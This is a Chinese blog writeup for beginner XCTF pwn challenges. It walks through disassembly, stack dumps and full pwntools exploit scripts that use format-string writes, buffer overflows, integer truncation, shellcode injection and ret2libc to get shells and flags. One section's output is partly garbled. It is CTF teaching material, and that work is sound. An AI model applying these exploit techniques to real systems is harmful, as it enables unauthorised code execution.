

# 攻防世界新手区pwn writeup

原创

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本文链接：<https://blog.csdn.net/y320284/article/details/100646052>

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## CGfsb

- 题目地址：<https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050>

- 下载文件后，使用file命令查看。

```
cgfsb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=113a10b953bc39c6e182c4ce6e05582ba2f8017a, not stripped
```

- 32位的文件，用ida打开，F5查看伪代码。

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int buf; // [esp+1Eh] [ebp-7Eh]
4     int v5; // [esp+22h] [ebp-7Ah]
5     __int16 v6; // [esp+26h] [ebp-76h]
6     char s; // [esp+28h] [ebp-74h]
7     unsigned int v8; // [esp+8Ch] [ebp-10h]
8
9     v8 = __readgsdword(0x14u);
10    setbuf(stdin, 0);
11    setbuf(stdout, 0);
12    setbuf(stderr, 0);
13    buf = 0;
14    v5 = 0;
15    v6 = 0;
16    memset(&s, 0, 0x64u);
17    puts("please tell me your name:");
18    read(0, &buf, 0xAu);
19    puts("leave your message please:");
20    fgets(&s, 100, stdin);
21    printf("hello %s", &buf);
22    puts("your message is:");
23    printf(&s);
24    if ( pwnme == 8 )
25    {
26        puts("you pwned me, here is your flag:\n");
27        system("cat flag");
28    }
29    else
30    {
31        puts("Thank you!");
32    }
33    return 0;
34 }
```

- printf漏洞：<https://www.cnblogs.com/cfans1993/articles/5619134.html>

- 思路：

- 找到pwnme的地址
- 把pwnme的地址写到s里面
- printf输出8个字节，然后用%n把8写入到pwnme里面

- 步骤：

- 利用ida直接找到pwnme的地址，为0x804a068

```

...0004A000
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
...0004A068

```

- 找到s相对format参数的偏移量，可以看到，传递message的变量s，被存储在0xbfff628地址内，此时0xbfff600对应printf的format参数在栈中的位置，所以偏移量为10，对应构造%10\$n。

```

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tiumo/cgfsb
please tell me your name:
abcd
leave your message please:
aaaa
hello abcd
your message is:

Breakpoint 1, 0x080486cd in main ()
(gdb) x/16wx $esp
0xbfff600: 0xbfff628 0xbfff61e 0xb7fbb5a0 0x00f0b5ff
0xbfff610: 0xbfff64e 0x00000001 0x000000c2 0x626196bb
0xbfff620: 0x000a6463 0x00000000 0x61616161 0x0000000a
0xbfff630: 0x00000000 0x00000000 0x00000000 0x00000000

```

- 构造payload: (pwnme地址) + "aaaa" + "%10\$n"

- pwntools:

```

from pwn import *

context.log_level = 'debug'
DEBUG = int(sys.argv[1])

if DEBUG == 1:
    p = process('./cgfsb')
else:
    p = remote('111.198.29.45', 58350)

pwnme_addr = 0x0804A068

payload1 = "aaaa"
payload2 = p32(pwnme_addr) + 'aaaa%10$n'

p.recvuntil('please tell me your name:\n')
p.sendline(payload1)

p.recvuntil('leave your message please:\n')
p.sendline(payload2)

print p.recv()
print p.recv()

```

- 运行结果:

```

your message is:
h\xa0\xa0aaaa
you pwned me, here is your flag:

cyberpeace{23b4e0027904831777a74a362bcfdd1d}

```

## When did you born

- 文件类型

```
root@kali:/media/sf_files# file 4d334fa01af64e72977d83d532906dbb
4d334fa01af64e72977d83d532906dbb: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=718185b5ec9c26eb9aeccfa0ab53678e34fee00a, stripped
```

- 运行测试

```
root@kali:/media/sf_files# ./4d334fa01af64e72977d83d532906dbb
What's Your Birth?
111111
What's Your Name?
1111
You Are Born In 111111
You Are Naive.
You Speed One Second Here.
root@kali:/media/sf_files# ./4d334fa01af64e72977d83d532906dbb
What's Your Birth?
0
What's Your Name?
122
You Are Born In 0
You Are Naive.
You Speed One Second Here.
root@kali:/media/sf_files# ./4d334fa01af64e72977d83d532906dbb
What's Your Birth?
2010
What's Your Name?
fasdf
You Are Born In 2010
You Are Naive.
You Speed One Second Here.
root@kali:/media/sf_files# ./4d334fa01af64e72977d83d532906dbb
What's Your Birth?
asdfas
What's Your Name?
asfaf
You Are Born In 4196144
You Are Naive.
You Speed One Second Here.
```

- IDA查看反汇编伪代码，v5等于1926能拿到flag，但之前有一个判断，不让输入1926

```
8  v6 = __readfsqword(0x28u);
9  setbuf(stdin, 0LL);
10 setbuf(stdout, 0LL);
11 setbuf(stderr, 0LL);
12 puts("What's Your Birth?");
13 __isoc99_scanf("%d", &v5);
14 while ( getchar() != 10 )
15     ;
16 if ( v5 == 1926 )
17 {
18     puts("You Cannot Born In 1926!");
19     result = 0LL;
20 }
21 else
22 {
23     puts("What's Your Name?");
24     gets(&v4);
25     printf("You Are Born In %d\n", v5);
26     if ( v5 == 1926 )
27     {
28         puts("You Shall Have Flag.");
29         system("cat flag");
30     }
31     else
32     {
```

- IDA调试，观察栈

- 输入生日1111，在栈中找到v5的位置

```
[stack]:00007FFC124C06E8 dd 457h
```

- 输入名字abcdefghijk

```
[stack]:00007FFF57097AE0 db 61h ; a
[stack]:00007FFF57097AE1 db 62h ; b
[stack]:00007FFF57097AE2 db 63h ; c
[stack]:00007FFF57097AE3 db 64h ; d
[stack]:00007FFF57097AE4 db 65h ; e
[stack]:00007FFF57097AE5 db 67h ; g
[stack]:00007FFF57097AE6 db 66h ; f
[stack]:00007FFF57097AE7 db 68h ; h
[stack]:00007FFF57097AE8 dw 6A69h
[stack]:00007FFF57097AEA db 6Bh ; k
```

- 看到v4部分覆盖了v5，所以我们要构造的payload格式应该是8chars+'\x86'+'\x07'

- pwntools代码

```
from pwn import *
p=remote(ip,port)
p.sendafter('Your Birth?',str(0)+'\n')
p.sendafter(' Your Name?', 'a'*8+p64(1926))
p.interactive()
```

- 运行结果

```
root@kali:~# python when.py
[+] Opening connection to 111.198.29.45 on port 39590: Done
[*] Switching to interactive mode

$
You Are Born In 1926
You Shall Have Flag.
cyberpeace{e985502a41bfacfc7a6ecb2a96a57ce}
[*] Got EOF while reading in interactive
$
```

## hello\_pwn

- 下载后反汇编用IDA查看伪代码，发现有一个函数用于显示flag，重命名为showflag

```
1 int64 __fastcall main(int64 a1, char
2 {
3     alarm(0x3Cu);
4     setbuf(stdout, 0LL);
5     puts("~~ welcome to ctf ~~");
6     puts("lets get helloworld for bof");
7     read(0, &unk_601068, 0x10uLL);
8     if ( dword_60106C == 1853186401 )
9         showflag();
10    return 0LL;
11 }
```

- 显然，只要把dword\_60106C赋值为1853186401就可以了，我们发现，输入aaaaaaaaaaaaaaaa，其中一部分会覆盖dword\_60106C，所以payload的格式应该是4chars+1853186401

```
.bss:0000000000601068 unk_601068 db 61h ; a ; DATA XREF: main+3B↑o
.bss:0000000000601069 db 61h ; a
.bss:000000000060106A db 61h ; a
.bss:000000000060106B db 61h ; a
.bss:000000000060106C dword_60106C dd 61616161h ; DATA XREF: main+4A↑r
```

- pwntools代码

```

from pwn import *
p = process("./637f5c201bf94c128c8c22e4d6e9cef3")
p.sendline('a'*4+p32(1853186401))
p.interactive()

```

- 本地测试

```

root@kali:~# python hello.py
[+] Starting local process './637f5c201bf94c128c8c22e4d6e9cef3': pid 4041
[*] Switching to interactive mode
~~ welcome to ctf ~~
lets get helloworld for bof=====
cat: flag.txt:没有那个
[*] Got EOF while reading in interactive

```

- 远程

```

root@kali:~# python hello.py
[+] Opening connection to 111.198.29.45 on port 38661: Done
[*] Switching to interactive mode
~~ welcome to ctf ~~
lets get helloworld for bof
cyberpeace{766c7f2fa81685386bf1921445c629f5}
[*] Got EOF while reading in interactive
$

```

## level0

- 检查保护

```

root@kali:~# checksec 0185ea305b6d4011bdd9e17eca3adfff
[*] '/root/0185ea305b6d4011bdd9e17eca3adfff'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

```

- 反汇编后发现callsystem函数调用了shell
- vulnerable\_function函数存在栈溢出漏洞，考虑覆盖返回值

```

00007FFF98E4A4B8  0101010101010101
00007FFF98E4A4C0  6161616161616161
00007FFF98E4A4C8  6161616161616161
00007FFF98E4A4D0  6161616161616161
00007FFF98E4A4D8  6161616161616161
00007FFF98E4A4E0  6161616161616161
00007FFF98E4A4E8  6161616161616161
00007FFF98E4A4F0  6161616161616161
00007FFF98E4A4F8  6161616161616161
00007FFF98E4A500  6363636362626262
00007FFF98E4A508  00000000040050A .text:0000000000400
00007FFF98E4A510  00007FFF98E4A608 [stack]:00007FFF98E

```

- 输入128个a和bbbbcccc后，可以看到，刚好到达返回地址，所以payload格式为128+8个char+callsystem地址
- exp如下

```

from pwn import *

p = remote('111.198.29.45',54531)
elf = ELF("./level0")
sysaddr = elf.symbols['callsystem']
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()

```

- 运行结果

```

root@kali:~# python hello.py
[+] Opening connection to 111.198.29.45 on port 54531: Done
[*] '/root/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ ls
bin
dev
flag
level0
lib
lib32
lib64

```

## level2

- 查看程序保护

```

root@kali:~# checksec level2
[*] '/root/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

```

- IDA查看反汇编伪代码，存在栈溢出漏洞

```

ssize_t vulnerable_function()
{
    char buf; // [esp+0h] [ebp-88h]

    system("echo Input:");
    return read(0, &buf, 0x100u);
}

```

- 程序中含有system函数和"/bin/sh"字符串

```

[s] .data:08... 00000008 C /bin/sh

```

- exp如下

```

from pwn import *

elf = ELF('./level2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

#io = remote('111.198.29.45',40579)
io = process("./level2")
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()

```

## guess num

- 查看文件类型

```

root@kali:~# file guess
guess: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically link
ed, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]
=c5689a0b4458c068fb51e3a2c167b112c3ba7323, stripped

```

- 检查程序保护

```

root@kali:~# checksec guess
[*] '/root/guess'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

```

- 运行测试

```

root@kali:~# ./guess
-----
Welcome to a guess number game!
-----
Please let me know your name!
Your name:tiumo
-----Turn:1-----
Please input your guess number:15
-----
GG!

```

- IDA反汇编

```

10 unsigned __int64 v11; // [rsp+38h] [rbp-8h]
11
12 v11 = __readfsqword(0x28u);
13 setbuf(stdin, 0LL);
14 setbuf(stdout, 0LL);
15 v3 = stderr;
16 setbuf(stderr, 0LL);
17 v6 = 0;
18 v8 = 0;
19 *(_QWORD *)seed = sub_BB0(v3, 0LL);
20 puts("-----");
21 puts("Welcome to a guess number game!");
22 puts("-----");
23 puts("Please let me know your name!");
24 printf("Your name:");
25 gets(&v9);
26 v4 = (const char *)seed[0];
27 srand(seed[0]);
28 for ( i = 0; i <= 9; ++i )
29 {
30     v8 = rand() % 6 + 1;
31     printf("-----Turn:%d-----\n", (unsigned int)(i + 1));
32     printf("Please input your guess number:");
33     __isoc99_scanf("%d", &v6);
34     puts("-----");
35     if ( v6 != v8 )
36     {
37         puts("GG!");
38         exit(1);
39     }
40     v4 = "Success!";
41     puts("Success!");
42 }
43 sub_C3E(v4);
44 return 0LL;
45 }

```

- 可以看到，每次数字都是一个随机数，而且随机数的种子是在gets之前的，所以我们可能有机会覆盖seed

```

*(_QWORD *)seed = sub_BB0();
puts("-----");
puts("Welcome to a guess number game!");
puts("-----");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets(&v7);
srand(seed[0]);

```

- 查看栈，可以发现，输入name确实可以覆盖到seed

```

• [stack]:00007FFD055DA3EF db 61h ; a
• [stack]:00007FFD055DA3F0 db 61h ; a
• [stack]:00007FFD055DA3F1 db 61h ; a
• [stack]:00007FFD055DA3F2 db 61h ; a
• [stack]:00007FFD055DA3F3 db 61h ; a

```

- exp: (循环里用sendafter和recvuntil都跑不动，只好手动了)



```

from pwn import *
from ctypes import *

elf = ELF('./guess')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io = process('./guess')
#io = remote("111.198.29.45",58174)

payload = 32 * 'a' + p64(1)
io.sendafter("Your name:", payload)

libc.srand(1)

for i in range(10):
    num = str(libc.rand()%6+1)
    print num+" ",

io.interactive()

```

- 运行结果

```

PIE:          PIE enabled
[+] Starting local process './guess': pid 2907
2 5 4 2 6 2 5 1 4 2 [*] Switching to interactive mode
$
-----Turn:1-----
Please input your guess number:$ 2
-----
Success!
-----Turn:2-----
Please input your guess number:$ 5
-----
Success!
-----Turn:3-----
Please input your guess number:$ 4
-----
Success!
-----Turn:4-----
Please input your guess number:$ 2
-----
Success!
-----Turn:5-----
Please input your guess number:$ 6
-----
Success!
-----Turn:6-----
Please input your guess number:$ 2
-----
Success!
-----Turn:7-----
Please input your guess number:$ 5
-----
Success!
-----Turn:8-----

```

## cgpwn2

- 检查保护

```

root@kali:~# file cgpwn2
cgpwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically li
nked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=86982e
ca8585ab1b30762b8479a6071dbf584559, not stripped
root@kali:~# checksec cgpwn2
[*] '/root/cgpwn2'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
root@kali:~#

```

- 反汇编

```

33     *v = 0;
34     puts("please tell me your name");
35     fgets(name, 50, stdin);
36     puts("hello,you can leave some message here:");
37     return gets(&s);
38 }

```

- 我们可以看到程序里面有system函数，但是没有"/bin/sh"字符串，但是name变量是全局的，我们可以尝试把字符串放到name变量里
- exp:

```

from pwn import *

elf = ELF('./cgpwn2')
io = process('./cgpwn2')
#io = remote("111.198.29.45",58174)

payload = 42 * 'a' + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x0804A080)
shstr = "/bin/sh"

io.recvuntil("name")
io.sendline(shstr)
io.recvuntil("here:")
io.sendline(payload)

io.interactive()

```

## int overflow

- 查看保护

```

root@kali:/media/sf_files# mv 0c5f4e234ba94a
root@kali:/media/sf_files# checksec intover
[*] '/media/sf_files/intover'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
root@kali:/media/sf_files#

```

- 运行测试

```

-- Welcome to CTF! --
  1.Login
  2.Exit
-----
Your choice:1
Please input your username:
aaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaa

Please input your passwd:
aaaaaaaaaaaaaaaaaa
Invalid Password
root@kali:~/media/cf_files#

```

- 反汇编，发现有一个函数已经有显示flag的功能了，但是并没有被调用，可以考虑返回地址溢出，在密码检查的函数中，我们看到，字符串长度被赋给了uint8类型，这里会发生截断，而在正确的分支，s字符串会被strcpy使用。

```

f what_is_this
1 1 1
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
result = strcpy(&dest, s);

```

- 整数溢出：由于int是32位，而int8是8位，我们可以在最后8位伪造长度，骗过长度检测，使用"0000 1000"(8)作为最后8位。
  - 栈中返回地址被覆盖（长度263）
- |          |          |
|----------|----------|
| FFC3FAB8 | 61616161 |
| FFC3FABC | 61616161 |
| FFC3FAC0 | 61616161 |
- payload格式: 0x14个char + 4个char + 地址（占4个char）+ 0xeb个char
  - exp

```

from pwn import *

elf = ELF('./intover')
io = process('./intover')
#io = remote("111.198.29.45",51548)

io.recvuntil("choice:")
io.sendline('1')
io.recvuntil("username:")
io.sendline("aaa")
io.recvuntil("passwd")
io.sendline('a'*0x14 + 'a'*4 + p32(elf.symbols['what_is_this']) + 0xea*'a')
io.interactive()

```

- 运行结果

```

root@kali:~# python hello.py
[*] '/root/intover'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './intover': pid 2774
[*] Switching to interactive mode
:
Success
here_is_flag
[*] Got EOF while reading in interactive
$

```



```

from pwn import *

#io = remote('111.198.29.45', '41410')
io = process("./string")
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("character's name be:")
io.sendline("tiumo")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()

```

- 运行结果:

```

00000031
[*] Switching to interactive mode
io.recvuntil("there(1), or leave(0)?:")
$ ls
[DEBUG] Sent 0x3 bytes: 'e me an address'
io.sendline('1')
[DEBUG] Received 0x3d bytes:
" VBoxLinuxAdditions.run '$\345\205\254\345\205\
VBoxLinuxAdditions.run '$\345\205\254\345\205\261'
[DEBUG] Received 0x2d bytes: 'ug', arch = 'amd64', os = 'linux'
" core\t\t\t '$\345\233\276\347\211\207'\n"
core '$\345\233\276\347\211\207'
[DEBUG] Received 0x2d bytes: 'PELL'
" iflag\t\t\t(shellc '$\346\226\207\346\241\243'\n"
flagio.interactive() '$\346\226\207\346\241\243'
[DEBUG] Received 0xe7 bytes:
+ " hello.py\t\t '$\346\241\214\351\235\242'\n"
" linux_server\t\t '$\346\250\241\346\235\277'\n"
" linux_server64\t\t '$\350\247\206\351\242\221'\n"
" string\t\t\t '$\351\237\263\344\271\220'\n"
" '$\344\270\213\350\275\275'\n" Python 制表符宽度: 8
hello.py '$\346\241\214\351\235\242'
linux_server '$\346\250\241\346\235\277'
linux_server64 '$\350\247\206\351\242\221'
string '$\351\237\263\344\271\220'
'$\344\270\213\350\275\275'
$

```

## level3

- 先查看保护

```
root@kali:~# checksec level3
[*] '/root/level3'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

- 反汇编，很直白的栈溢出

```
ssize_t vulnerable_function()
{
    char buf; // [esp+0h] [ebp-88h]

    write(1, "Input:\n", 7u);
    return read(0, &buf, 0x100u);
}
```

- GOT表与PLT表: [https://blog.csdn.net/qq\\_18661257/article/details/54694748](https://blog.csdn.net/qq_18661257/article/details/54694748)
- ret2libc攻击: <https://blog.csdn.net/guilanl/article/details/61921481>
- exp (本地不能执行，但远程可以，不知道为什么)

```
#-*-coding:utf-8-*-
```

```
from pwn import *
```

```
#io = process('./level3')
```

```
io = remote('111.198.29.45',55186)
```

```
elf = ELF('./level3')
```

```
libc = ELF('./libc_32.so.6')
```

```
write_plt = elf.plt['write']
```

```
vul_addr = elf.symbols['vulnerable_function']
```

```
got_addr = elf.got['write']
```

```
payload1="a"*0x88 + 'aaaa' + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4)
```

```
io.recvuntil("Input:\n")
```

```
io.sendline(payload1)
```

```
write_addr = u32(io.recv(4))
```

```
print write_addr
```

```
libc_write = libc.symbols['write']
```

```
libc_system = libc.symbols['system']
```

```
libc_sh = libc.search('/bin/sh').next()
```

```
system_addr = write_addr + (libc_system-libc_write) #用相对地址计算真实地址
```

```
sh_addr = write_addr + (libc_sh-libc_write)
```

```
payload2 = 'a'*0x88 + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)
```

```
io.recvuntil("Input:\n")
```

```
io.sendline(payload2)
```

```
io.interactive()
```